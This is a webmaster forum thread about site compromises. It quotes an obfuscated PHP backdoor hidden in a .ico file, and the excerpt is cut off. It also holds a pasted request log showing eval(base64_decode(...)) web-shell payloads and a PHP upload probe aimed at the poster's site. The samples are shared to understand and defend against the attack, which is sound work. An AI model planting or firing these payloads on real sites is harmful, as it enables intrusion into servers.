note had an issue with !== $mylogin in orig post,updated it so may not be logging if you tried earlier one
Printable View
note had an issue with !== $mylogin in orig post,updated it so may not be logging if you tried earlier one
It was a .ico file with a load of code like this:
<?php
$_ac18ps = basename/*hj692*/(/*n*/trim/*gnu*/(/*bi90o*/preg_replace/*e*/(/*bi*/rawurldecode/*s8u9*/(/*j*/"%2F%5C%28.%2A%24%2F"/*570*/)/*fp1*/, '', __FILE__/*7jz3t*/)/*zhgp7*//*4tr67*/)/*t6a*//*2tns*/)/*wdn1*/;$_id8kav = "GV%18%1C%19T%07%00%5D%40%0C%07G%09CLF%5DQ%0F9WA%0 7%17%0AVDgWJU%03%12Q%0ENJF%24K2P%5DV%0B%08Q%06N%10 %1B%5CUYYgS%0D%08%40K%11%170MB%5DULUBA%18%0EXJT%24 pQZQo%11%
Quote:
Originally Posted by PromoteCasino
Yeah there is an article on this, they decode / encode with different cyphers but launch it with base64 evlas in posts..
You have a link to that article by any chance?
this is it, gets deep
https://www.masswerk.at/nowgobang/20...-a-wp-backdoor
here is a TINY sample of the attacks on one of my sites
PHP Code:post - 11/21/2019 03:52:41 pmhttp://worldgamblingnews.com/plus/90sec.phpguige : @eval(base64_decode($_POST[z0]));
post - 11/21/2019 03:52:41 pmhttp://worldgamblingnews.com/plus/90sec.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/index.php?a=config&source=d7.2_x2.0a : config
post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/index.php?a=config&source=d7.2_x2.0source : d7.2_x2.0
post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/index.php?a=config&source=d7.2_x2.0submit : ±£´æ·þÎñÆ÷ÉèÖÃ
post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/index.php?a=config&source=d7.2_x2.0newconfig : Array
post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/data/config.inc.phptom : @eval(base64_decode($_POST[z0]));
post - 11/21/2019 03:52:42 pmhttp://worldgamblingnews.com/utility/convert/data/config.inc.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
post - 11/21/2019 03:52:43 pmhttp://worldgamblingnews.com/uploads/dede/sys_verifies.php?action=downysy : @eval(base64_decode($_POST[z0]));
post - 11/21/2019 03:52:43 pmhttp://worldgamblingnews.com/uploads/dede/sys_verifies.php?action=downz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
post - 11/21/2019 03:52:44 pmhttp://worldgamblingnews.com/index.php/api/Uploadify/previewdata:image/php;base64,PD9waHAgYXNzZXJ0KCRfUE9TVFsibGVxdSJdKTs/Pg : =
post - 11/21/2019 03:52:44 pmhttp://worldgamblingnews.com/fdgq.phplequ : @eval(base64_decode($_POST[z0]));
post - 11/21/2019 03:52:44 pmhttp://worldgamblingnews.com/fdgq.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
post - 11/21/2019 03:52:45 pmhttp://worldgamblingnews.com/hytsn.php_ : @eval(base64_decode($_POST[z0]));
post - 11/21/2019 03:52:45 pmhttp://worldgamblingnews.com/hytsn.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7
post - 11/21/2019 03:52:46 pmhttp://worldgamblingnews.com/ysyqq.phpysy : @eval(base64_decode($_POST[z0]));
post - 11/21/2019 03:52:46 pmhttp://worldgamblingnews.com/ysyqq.phpz0 : QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107ZWNobygifDwtIik7ZGllKCk7